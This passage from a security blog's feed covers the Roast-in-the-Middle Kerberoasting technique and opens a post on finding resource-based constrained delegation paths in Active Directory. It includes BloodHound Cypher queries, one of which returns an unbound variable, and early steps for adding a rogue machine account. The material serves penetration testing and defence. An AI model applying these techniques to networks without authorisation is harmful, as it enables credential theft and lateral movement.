12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>This second AS-REQ is what RITM is sniffing for. If the account the sniffed AS-REQ belongs to does not require pre-auth, no AS-REQ containing <code>pA-ENC-TIMESTAMP</code> data will be sent and this will actually be missed by RITM. In my experience, this would be an edge case that won&#8217;t be encountered often. But be aware this could technically be missed.</p><h2>Roasting</h2><p>This is where Charlie&#8217;s research comes into play. AS-REQs are normally used to request ticket-granting-tickets (TGTs) , but Charlie discovered that by specifying a SPN within the <em>sname</em> of a valid AS-REQ, the KDC will respond with a service ticket for that SPN. By replaying the AS-REQ and inserting known usernames into the <em>sname</em> field, we can Kerberoast.</p><p>In regards to the roast-in-the-middle attack, he also states:</p><blockquote><p>This type of attack generally is not possible with TGS-REQs because the optional <strong>cksum</strong> field within the <em>authenticator</em> inside the <a href="https://www.rfc-editor.org/rfc/rfc4120#section-5.5.1">AP-REQ</a> protects the <em>req-body</em> of the request and is frequently included by genuine Windows Kerberos clients. Therefore, modifying the <strong>sname</strong> of a TGS-REQ without updating the checksum within the authenticator invalidates the authenticator checksum and returns a <strong>KRB_AP_ERR_MODIFIED</strong> error. But this is not a problem for AS-REQs because the <strong>req-body</strong>, and consequently the <strong>sname</strong> field, are not protected.</p></blockquote><p>This may be another minor difference between his proof-of-concept and RITM. Instead of modifying the sniffed AS-REQ and replaying it, RITM uses Impacket to create new AS-REQs from scratch and then stuff the sniffed <code>pA-ENC-TIMESTAMP</code> data into those packets. </p><p>Going back to Wireshark, you&#8217;ll notice there are 5 AS-REQs following the legitimate Kerberos traffic. The user list I provided only included 4 names - RITM first sends an AS-REQ with <em>krbtgt </em>as the <em>sname</em> value to determine the validity of the timestamp. In the 4 trailing AS-REQs you&#8217;ll see the legitimate timestamp data, pulled right from the sniffed packet, with the user list rotated in as the <em>sname</em> value.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!LrX4!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe8336343-f4c0-48c8-a8b0-9ae41856e9d9_2534x1628.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!LrX4!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe8336343-f4c0-48c8-a8b0-9ae41856e9d9_2534x1628.png 424w, https://substackcdn.com/image/fetch/$s_!LrX4!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe8336343-f4c0-48c8-a8b0-9ae41856e9d9_2534x1628.png 848w, https://substackcdn.com/image/fetch/$s_!LrX4!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe8336343-f4c0-48c8-a8b0-9ae41856e9d9_2534x1628.png 1272w, https://substackcdn.com/image/fetch/$s_!LrX4!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe8336343-f4c0-48c8-a8b0-9ae41856e9d9_2534x1628.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!LrX4!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe8336343-f4c0-48c8-a8b0-9ae41856e9d9_2534x1628.png" width="1456" height="935" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/e8336343-f4c0-48c8-a8b0-9ae41856e9d9_2534x1628.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:935,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:347173,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!LrX4!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe8336343-f4c0-48c8-a8b0-9ae41856e9d9_2534x1628.png 424w, https://substackcdn.com/image/fetch/$s_!LrX4!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe8336343-f4c0-48c8-a8b0-9ae41856e9d9_2534x1628.png 848w, https://substackcdn.com/image/fetch/$s_!LrX4!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe8336343-f4c0-48c8-a8b0-9ae41856e9d9_2534x1628.png 1272w, https://substackcdn.com/image/fetch/$s_!LrX4!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe8336343-f4c0-48c8-a8b0-9ae41856e9d9_2534x1628.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Three of those four AS-REQs received an <code>ERR_S_PRINCIPAL_UNKNOWN </code>from the KDC, indicating those <em>sname</em> values were valid, but were unassociated with an SPN. The other account does have an SPN and RITM successfully roasts this account.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!DZef!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Ffef5c60a-fe62-4898-a257-5603c8890755_2368x1408.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!DZef!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Ffef5c60a-fe62-4898-a257-5603c8890755_2368x1408.png 424w, https://substackcdn.com/image/fetch/$s_!DZef!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Ffef5c60a-fe62-4898-a257-5603c8890755_2368x1408.png 848w, https://substackcdn.com/image/fetch/$s_!DZef!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Ffef5c60a-fe62-4898-a257-5603c8890755_2368x1408.png 1272w, https://substackcdn.com/image/fetch/$s_!DZef!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Ffef5c60a-fe62-4898-a257-5603c8890755_2368x1408.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!DZef!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Ffef5c60a-fe62-4898-a257-5603c8890755_2368x1408.png" width="1456" height="866" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/fef5c60a-fe62-4898-a257-5603c8890755_2368x1408.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:866,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:313894,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!DZef!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Ffef5c60a-fe62-4898-a257-5603c8890755_2368x1408.png 424w, https://substackcdn.com/image/fetch/$s_!DZef!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Ffef5c60a-fe62-4898-a257-5603c8890755_2368x1408.png 848w, https://substackcdn.com/image/fetch/$s_!DZef!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Ffef5c60a-fe62-4898-a257-5603c8890755_2368x1408.png 1272w, https://substackcdn.com/image/fetch/$s_!DZef!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Ffef5c60a-fe62-4898-a257-5603c8890755_2368x1408.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h2>Cleanup</h2><p>After the user list is exhausted, RITM will automatically shutdown and attempt to restore the ARP caches of any systems involved in the spoofing attack. It will also attempt to perform this cleanup upon receiving a <code>Ctrl-C</code> from the operator, <strong>although multiple </strong><code>Ctrl-C</code><strong> hits will likely interrupt restoration</strong>. </p><h2>References</h2><ul><li><p><a href="https://www.semperis.com/blog/new-attack-paths-as-requested-sts/">https://www.semperis.com/blog/new-attack-paths-as-requested-sts/</a></p></li><li><p><a href="https://github.com/0xe7/RoastInTheMiddle">https://github.com/0xe7/RoastInTheMiddle</a></p></li></ul>]]></content:encoded></item><item><title><![CDATA[Hunting Resource-Based Constrained Delegation in Active Directory]]></title><description><![CDATA[Recently, I have encountered a couple of environments susceptible to lateral movement through resource-based constrained delegation (RBCD) attacks, prompting me to take a deeper dive into the topic.]]></description><link>https://blog.tw1sm.io/p/hunting-resource-based-constrained</link><guid isPermaLink="false">https://blog.tw1sm.io/p/hunting-resource-based-constrained</guid><dc:creator><![CDATA[Matt Creel]]></dc:creator><pubDate>Fri, 09 Sep 2022 18:58:00 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!GTq4!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa4b1d5dd-1488-4a83-8543-b78d840b1db7_1968x1066.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Recently, I have encountered a couple of environments susceptible to lateral movement through resource-based constrained delegation (RBCD) attacks, prompting me to take a deeper dive into the topic. Most of my previous RBCD abuse experience stemmed from ntlmrelayx usage (the <code>--delegate-access</code> attack), which can be used very similarly to <a href="https://web.archive.org/web/20250514182614mp_/https://www.fortalicesolutions.com/posts/shadow-credentials-workstation-takeover-edition">shadow credentials for workstation takeover</a>, due to the fact that machines accounts can edit their own <code>msDS-AllowedToActOnBehalfOfOtherIdentity</code> attribute. However, I hadn&#8217;t consciously been searching BloodHound for permissions over computers that open the door for more opportunistic RBCD usage. This post will focus more on that angle, instead of the relay vector, since I think hunting RBCD paths may fly a tad under the radar for other testers, as it had for me.</p><h4>Identifying RBCD Scenarios</h4><p>Let&#8217;s start with how to find scenarios allowing RBCD in BloodHound. For the purposes of this blog, we&#8217;ll assume that I&#8217;ve already compromised the <code>EZ\matt</code> account, a basic domain user, and used it to collect BloodHound data. To configure the lab in a vulnerable state, I&#8217;ve granted the <em>Finance Users</em> group GenericAll permissions over the WS1.EZ.LAB machine. Either GenericAll or GenericWrite privileges will directly allow modifications to the target computer object for RBCD takeover.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!N-Jr!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6a8559fc-690e-4c91-84f8-2e4c281abbe5_1958x290.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!N-Jr!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6a8559fc-690e-4c91-84f8-2e4c281abbe5_1958x290.png 424w, https://substackcdn.com/image/fetch/$s_!N-Jr!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6a8559fc-690e-4c91-84f8-2e4c281abbe5_1958x290.png 848w, https://substackcdn.com/image/fetch/$s_!N-Jr!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6a8559fc-690e-4c91-84f8-2e4c281abbe5_1958x290.png 1272w, https://substackcdn.com/image/fetch/$s_!N-Jr!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6a8559fc-690e-4c91-84f8-2e4c281abbe5_1958x290.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!N-Jr!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6a8559fc-690e-4c91-84f8-2e4c281abbe5_1958x290.png" width="1456" height="216" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/6a8559fc-690e-4c91-84f8-2e4c281abbe5_1958x290.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:216,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!N-Jr!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6a8559fc-690e-4c91-84f8-2e4c281abbe5_1958x290.png 424w, https://substackcdn.com/image/fetch/$s_!N-Jr!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6a8559fc-690e-4c91-84f8-2e4c281abbe5_1958x290.png 848w, https://substackcdn.com/image/fetch/$s_!N-Jr!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6a8559fc-690e-4c91-84f8-2e4c281abbe5_1958x290.png 1272w, https://substackcdn.com/image/fetch/$s_!N-Jr!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6a8559fc-690e-4c91-84f8-2e4c281abbe5_1958x290.png 1456w" sizes="100vw" fetchpriority="high"></picture><div></div></div></a></figure></div><p>This can be identified by checking the <em>Inbound Control Rights</em> section of WS1.EZ.LAB&#8217;s node info in the BloodHound UI, but doesn&#8217;t work very well at scale. To search for outlying permissions that may allow RBCD abuse in large domains, I recommend Cypher queries similar to the simple ones included below. In addition to GenericAll and GenericWrite, you can also search for Owns, WriteDacl and WriteOwner permissions, which indirectly enable RBCD by allowing you to grant an owned object GenericAll over the target object, using PowerView or <a href="https://web.archive.org/web/20250514182614mp_/https://github.com/SecureAuthCorp/impacket/pull/1291">dacledit.py</a>. These queries can help identify low-privilege objects that can modify machine accounts, when abuse doesn&#8217;t run though the Domain Users group and thus gets glossed over by BloodHound&#8217;s stock <em>Find Dangerous Rights for Domain Users Groups</em> query.</p><pre><code><code># All objects with first-degree permissions allowing RBCD abuse
MATCH (n)-[r:GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner]-&gt;(c:Computer) RETURN distinct(n.name), count(c) ORDER BY count(c) ASC

# All users with Nth degree permissions, through nested group memberships, allowing RBCD abuse
MATCH (u:User)-[r:MemberOf*1..]-&gt;(g:Group)-[r1:GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner]-&gt;(c:Computer) RETURN distinct(n.name), count(c) ORDER BY count(c) ASC</code></code></pre><p>You can also utilize Impacket&#8217;s <a href="https://web.archive.org/web/20250514182614mp_/https://github.com/SecureAuthCorp/impacket/blob/master/examples/findDelegation.py">findDelegation.py</a> to query the domain for preexisting RBCD relationships.</p><h4>RBCD Abuse</h4><p>RBCD attacks typically follow similar steps to those listed below. If you&#8217;re using ntlmrelayx&#8217;s delegate access attack, step 2, and potentially step 1, will look a little different.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!GTq4!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa4b1d5dd-1488-4a83-8543-b78d840b1db7_1968x1066.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!GTq4!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa4b1d5dd-1488-4a83-8543-b78d840b1db7_1968x1066.png 424w, https://substackcdn.com/image/fetch/$s_!GTq4!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa4b1d5dd-1488-4a83-8543-b78d840b1db7_1968x1066.png 848w, https://substackcdn.com/image/fetch/$s_!GTq4!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa4b1d5dd-1488-4a83-8543-b78d840b1db7_1968x1066.png 1272w, https://substackcdn.com/image/fetch/$s_!GTq4!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa4b1d5dd-1488-4a83-8543-b78d840b1db7_1968x1066.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!GTq4!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa4b1d5dd-1488-4a83-8543-b78d840b1db7_1968x1066.png" width="1456" height="789" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a4b1d5dd-1488-4a83-8543-b78d840b1db7_1968x1066.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:789,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!GTq4!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa4b1d5dd-1488-4a83-8543-b78d840b1db7_1968x1066.png 424w, https://substackcdn.com/image/fetch/$s_!GTq4!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa4b1d5dd-1488-4a83-8543-b78d840b1db7_1968x1066.png 848w, https://substackcdn.com/image/fetch/$s_!GTq4!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa4b1d5dd-1488-4a83-8543-b78d840b1db7_1968x1066.png 1272w, https://substackcdn.com/image/fetch/$s_!GTq4!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa4b1d5dd-1488-4a83-8543-b78d840b1db7_1968x1066.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h5>Adding a Machine Account to Active Directory</h5><p>To perform Kerberos delegation through S4U functions in the later steps, we require control over an account set with an SPN. Machine accounts are easy targets to fulfill this requirement, and in many environments still configured with the default MachineAccountQuota, you can simply add one to the domain. If you&#8217;re unable to add a new machine account, compromising an existing one will also do the trick. This is easily accomplished as a standard user in most environments through WebDAV + relay attacks, or by compromising local admin rights to any single machine through other means.</p><p>In my lab setup, the MachineAccountQuota is 10 and I&#8217;ll use Impacket&#8217;s addcomputer.py to add a new machine account named <code>FORTALICE$</code> to the domain. Impacket will also add default computer SPNs (HOST and RestrictedKrbHost) to the object.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!ZKQT!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F30ea3160-586b-4662-8e85-b7e25488fe4f_2718x274.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!ZKQT!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F30ea3160-586b-4662-8e85-b7e25488fe4f_2718x274.png 424w, https://substackcdn.com/image/fetch/$s_!ZKQT!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F30ea3160-586b-4662-8e85-b7e25488fe4f_2718x274.png 848w, https://substackcdn.com/image/fetch/$s_!ZKQT!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F30ea3160-586b-4662-8e85-b7e25488fe4f_2718x274.png 1272w, https://substackcdn.com/image/fetch/$s_!ZKQT!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F30ea3160-586b-4662-8e85-b7e25488fe4f_2718x274.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!ZKQT!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F30ea3160-586b-4662-8e85-b7e25488fe4f_2718x274.png" width="1456" height="147" 